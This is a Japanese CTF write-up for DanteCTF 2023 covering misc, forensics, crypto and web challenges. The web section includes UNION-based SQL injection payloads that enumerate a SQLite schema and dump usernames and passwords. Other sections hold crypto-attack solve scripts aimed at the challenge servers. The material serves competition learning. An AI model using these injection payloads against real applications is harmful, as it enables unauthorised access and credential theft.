DanteCTF 2023 Writeup

この大会は2023/6/2 16:00(JST)~2023/6/5 6:00(JST)に開催されました。
今回もチームで参戦。結果は1858点で663チーム中39位でした。
自分で解けた問題をWriteupとして書いておきます。

Gloomy Wood (Misc)

ルールのページにフラグの形式の正規表現が記載されていた。

DANTE{[a-zA-Z0-9_]+}

Hanging Nose (Misc)

Blenderstlファイルをインポートする。オブジェクトの中にあるフラグを角度を変えながら見てみる。

DANTE{tr33_0rn4m3nt}

Flag Fabber (Misc)

zipファイルにはgblやgbsなどの拡張子を持つファイルが入っている。https://www.gerber-viewer.com/Viewerでzipファイルを読み込ませ、Layerの表示を変え、ローテートすると、左右反転したフラグが現れた。

DANTE{pcb5_4r3_c00l}

Unknown Site 1 (Web)

https://unknownsite.challs.dantectf.it/robots.txtにアクセスしたら、以下のように表示された。

DANTE{Yo0_Must_B3_A_R0boTtTtTtTTtTAD6182_0991847}
/s3cretDirectory1/
/s3cretDirectory2/
/s3cretDirectory3/
DANTE{Yo0_Must_B3_A_R0boTtTtTtTTtTAD6182_0991847}

Dante Barber Shop (Web)

HTMLソースを見ると、img/barber2.jpg~img/barber7.jpgへのリンクがある。img/barber1.jpgへのリンクがないので、アクセスしてみる。

画像に以下のように書いてある。

Backup User
barber
dant3barbersh0p_cLIVeSidag

ログインページに行き、barber / dant3barbersh0p_cLIVeSidag でログインする。
Nameを部分検索できるページのようだ。検索結果には Name, Surname, Phone が表示されている。
SQLインジェクションで、いろいろ入力して反応を見てみる。

・Z' union select 1, 2, 3 --
Error: SQLite3::query(): Unable to prepare statement: 1, SELECTs to the left and right of UNION do not have the same number of result columns

・Z' union select 1, 2, 3, 4 --
Name	Surname	Phone
2	3	4

・Z' union select 1, name, sql, 4 from sqlite_master where type='table' --
Name	Surname	Phone
customers	CREATE TABLE customers ( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, surname TEXT, phone TEXT )	4
sqlite_sequence	CREATE TABLE sqlite_sequence(name,seq)	4
users	CREATE TABLE users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT )	4

・Z' union select 1, id, username, password from users --
Name	Surname	Phone
1	admin	nSOrowLIstERiMbrUsHConesueyeadEr
2	barber	dant3barbersh0p_cLIVeSidag

adminユーザのパスワードがわかったので、adminユーザでログインし直してみると、フラグが表示された。

DANTE{dant3_1s_inj3cting_everyb0dy_aaxxaa}

Do You Know GIF? (Forensics)

GIFアニメーションになっている。Giamでフレームごとに分割してみる。一部のフレームにコメントが書いてある。

dante_004.gif: Hey look, a comment!
dante_019.gif: These comments sure do look useful
dante_063.gif: I wonder what else I could do with them?
dante_091.gif: 44414e54457b673166355f
dante_101.gif: 3472335f6d3464335f6279
dante_118.gif: 5f626c30636b357d
dante_138.gif: At the edges of the map lies the void

途中の16進数文字列を連結してデコードする。

$ echo 44414e54457b673166355f3472335f6d3464335f62795f626c30636b357d | xxd -r -p
DANTE{g1f5_4r3_m4d3_by_bl0ck5}
DANTE{g1f5_4r3_m4d3_by_bl0ck5}

Who Can Haz Flag (Forensics)

arpでフィルタリングして、リクエストしているIPアドレスの第4オクテットをASCIIコードとして並べると、フラグになった。

DANTE{wh0_h4s_fl4g_ju5t_45k}

Routes Mark The Spot (Forensics)

ipv6でフィルタリングし、Dataを見てみる。[英数字文字列]:フラグ文字:[英数字文字列]という形式になっていると推測できる。ただ時系列でフラグにはならないので、順序のルールを探す必要がある。IPヘッダのTOSのFlow Levelの番号順に並べれば良さそう。

#!/usr/bin/env python3
from scapy.all import *

packets = rdpcap('RoutesMarkTheSpot.pcapng')

flag = [''] * 48
i = 1
for p in packets:
    if p.haslayer(IPv6):
        fl = p[IPv6].fl
        c = p[Raw].load.decode().split(':')[1]
        flag[fl] = c

flag = ''.join(flag)
print(flag)
DANTE{l4b3l5_c4n_m34n_m4ny_7h1ngs}

Small Inscription (Crypto)

平文の上位ビットがわかっているので、Coppersmithの定理を使って復号する。

#!/usr/bin/env sage
from Crypto.Util.number import *

msg_base = b'There is something reeeally important you should know, the flag is '

with open('SmallInscription.output', 'r') as f:
    params = f.read().splitlines()

e = 3
ct = int(params[0].split('=')[1])
N = int(params[1].split('=')[1])

for i in range(7, 30):
    kbits = i * 8
    mbar = bytes_to_long(msg_base) * (256 ** i)

    PR.<x> = PolynomialRing(Zmod(N))
    f = (mbar + x)^e - ct
    x = f.small_roots(X=2^kbits, beta=1)
    if len(x) != 0:
        m = int(mbar + x[0])
        break

msg = long_to_bytes(m).decode()
print(msg)

復号結果は以下の通り。

There is something reeeally important you should know, the flag is DANTE{sM4ll_R00tzz}
DANTE{sM4ll_R00tzz}

PiedPic (Crypto)

サーバの処理概要は以下の通り。

・answer: 入力
・answerが'y'の場合
 ・flag: "flag.png"のImageオブジェクト
 ・key: 画像の幅×高さのサイズのランダムバイト文字列
 ・encrypted_flag = encrypt_image(flag, key)
  ・perm_table: 既知の0~2の順列の全パターンの配列
  ・size: 画像の幅×高さ
  ・pixels: 画像データのリスト
  ・pixelsの長さ未満のiに対して以下を実行
   ・p = pixels[i]
   ・kbytes = key[i]
   ・color = [p[i]^255 if kbyte & (1 << i) else p[i] for i in range(3)]
   ・(r,g,b) = perm_table[int(kbyte) % 6]
   ・pixels[i] = (color[r], color[g], color[b])
  ・flagにpixelsを設定
  ・flagをpng形式で保存
  ・画像データをbase64エンコードして返却
 ・encrypted_flagを表示
 ・data: 入力
 ・image: 入力データをbase64デコードしてImageオブジェクトにする。
 ・encrypted_data = encrypt_image(image, key)
 ・encrypted_dataを表示

自分で作成した画像の平文と暗号文からkey(バイトごとに下位3ビットのみ)を割り出す。あとはそれを使って、暗号化したフラグ画像を復号する。その際、まず必要な3つの画像ファイルの保存のみを行ってから、復号を行う。

#!/usr/bin/env python3
from pwn import *
from PIL import Image
from base64 import b64encode, b64decode

enc_flag_file = 'enc_flag.png'
test_file = 'test.png'
enc_test_file = 'enc_test.png'

p = remote('challs.dantectf.it', 31511)

for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)

data = p.recvuntil(b'?').decode()
print(data + 'y')
p.sendline(b'y')

for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)

data = p.recvrepeat(1).decode()

lines = data.split('\n')
enc_flag = b64decode(lines[0])

with open(enc_flag_file, 'wb') as f:
    f.write(enc_flag)

enc_flag_img = Image.open(enc_flag_file)
w, h = enc_flag_img.size
mode = enc_flag_img.mode

test_img = Image.new(mode, (w, h), (255, 255, 255, 255))
for y in range(h):
    for x in range(w):
        test_img.putpixel((x, y), (1, 2, 4, 255))

test_img.save(test_file)

for line in lines[1:3]:
    print(line)

test_bytes = b64encode(test_img.tobytes()).decode()
print(lines[3] + test_bytes)
p.sendline(test_bytes.encode())

for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)

data = p.recvrepeat(1).decode()

lines = data.split('\n')
enc_test = b64decode(lines[0])

with open(enc_test_file, 'wb') as f:
    f.write(enc_test)

for line in lines[1:]:
    print(line)

保存した指定した画像とその暗号化した画像から鍵を求める。その鍵を前提にフラグ画像を復号する。

#!/usr/bin/env python3
from PIL import Image

enc_test_file = 'enc_test.png'
enc_flag_file = 'enc_flag.png'
flag_file = 'flag.png'

perm_table = {0: (0, 1, 2), 1: (0, 2, 1), 2: (1, 0, 2), 3: (1, 2, 0), 4: (2, 0, 1), 5: (2, 1, 0)}

enc_test_img = Image.open(enc_test_file)
enc_flag_img = Image.open(enc_flag_file)

enc_test_pixels = list(enc_test_img.getdata())

key = []
for i in range(len(enc_test_pixels)):
    p1 = (1, 2, 4)
    p2 = enc_test_pixels[i]
    for kbyte in range(256):
        color = [p1[i] ^ 255 if kbyte & (1 << i) else p1[i] for i in range(3)]
        (r, g, b) = perm_table[kbyte % 6]
        if (color[r], color[g], color[b]) == (p2[0], p2[1], p2[2]):
            key.append(kbyte)
            break

w, h = enc_flag_img.size
enc_flag_pixels = list(enc_flag_img.getdata())

flag_img = Image.new('RGB', (w, h), (255, 255, 255))

pixels = []
for i in range(len(enc_flag_pixels)):
    p2 = enc_flag_pixels[i]
    kbyte = key[i]
    indexes = list(perm_table[kbyte % 6])
    color = [p2[indexes.index(j)] for j in range(3)]
    color = [color[i] ^ 255 if kbyte & (1 << i) else color[i] for i in range(3)]
    pixels.append(tuple(color))

flag_img.putdata(pixels)
flag_img.save(flag_file)

復号した画像データにフラグが散りばめて書いてあった。

DANTE{Att4cks_t0_p1x3L_Encrypt3d_piCtUrES_511f0c49f8be}

DIY enc (Crypto)

サーバの処理概要は以下の通り。

・key: ランダム16バイト文字列
・nonce: ランダム15バイト文字列
・flag_enc: FLAG(長さ19) * 3をAES-CTR暗号化(key, nonce)
・flag_encを表示
・以下7回繰り返し
 ・length: 数値入力(4~99)
 ・pt: 長さlengthのランダム文字列のbase64エンコード
 ・ptのAES-CTR暗号化(key, nonce)
 ・ctを表示

base64の"=="を出すようサイズを指定することを考える。

size =  4 ---> pt[6:8] == '=='
size =  7 ---> pt[10:12] == '=='
size = 10 ---> pt[14:16] == '=='
size = 13 ---> pt[18:20] == '=='
                :
size = 34 ---> pt[46:48] == '=='
size = 37 ---> pt[50:52] == '=='
size = 40 ---> pt[54:56] == '=='

以下の'*'の箇所のXOR鍵はわかる。

[----- FLAG  -----]
          111111111
0123456789012345678
      **  **  **  *

[----- FLAG  -----]
1222222222233333333
9012345678901234567
*

[----- FLAG  -----]
3344444444445555555
8901234567890123456
        **  **  **

このことからXOR鍵を求め、FLAGは"DANTE{"から始まることを前提に、FLAGを復号する。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.dantectf.it', 31510))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

enc_flag = bytes.fromhex(data.split(' ')[-1])

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

flag = [0] * 19
for length in [4, 7, 10, 13, 34, 37, 40]:
    data = recvuntil(s, b'> ')
    print(data + str(length))
    s.sendall(str(length).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    ct = bytes.fromhex(data.split(' ')[-1])

    pos = (length - 1) * 4 // 3 + 2
    k0 = ct[pos] ^ ord('=')
    k1 = ct[pos + 1] ^ ord('=')
    flag[pos % 19] = enc_flag[pos] ^ k0
    flag[(pos + 1) % 19] = enc_flag[pos + 1] ^ k1

FLAG = 'DANTE{'
assert flag[0] == ord('D')

for i in range(6, 19):
    FLAG += chr(flag[i])
print(FLAG)

実行結果は以下の通り。

Encrypting flag...
Encrypted flag = 4a15049341ed5288fe7651079796978d446bea90c477381dbd9b48bbc7ae7449ab839a37a5988a23db62add01656f5302824cd5203ba315982

You can choose only the length of the plaintext, but not the plaintext. You will not trick me :)
> 4
ct = 6330658f4bc70386
> 7
ct = 670023834bfa68fff812330b
> 10
ct = 453d2cad43a044edfb293d199388c780
> 13
ct = 77120da437e30cdc8c0f3c6eb5a28085712faae9
> 34
ct = 40667a936bbd64fea72b215b97bba9cf6337ff92d5772321ffbe33be8bbf2c71c58cc81cc08cb728d819dedc0224fd38
> 37
ct = 636d7f8b60f344f59f28435dbd9e90887012e3bde47d243bf2bd42ed9c961f22b3dadd1cae97a811dd6192ce0a2bba4e1244a330
> 40
ct = 5b19299d60a06dfcfe166574b380d5e47416edb0b64f291df49e4efacba4322ba583c256cfd4bd56c301819e3f4ab22e436df26618ed5e57
DANTE{l355_1S_m0R3}
DANTE{l355_1S_m0R3}

Survey (Misc)

アンケートに答えたら、フラグが表示された。

DANTE{7h4nk_y0u}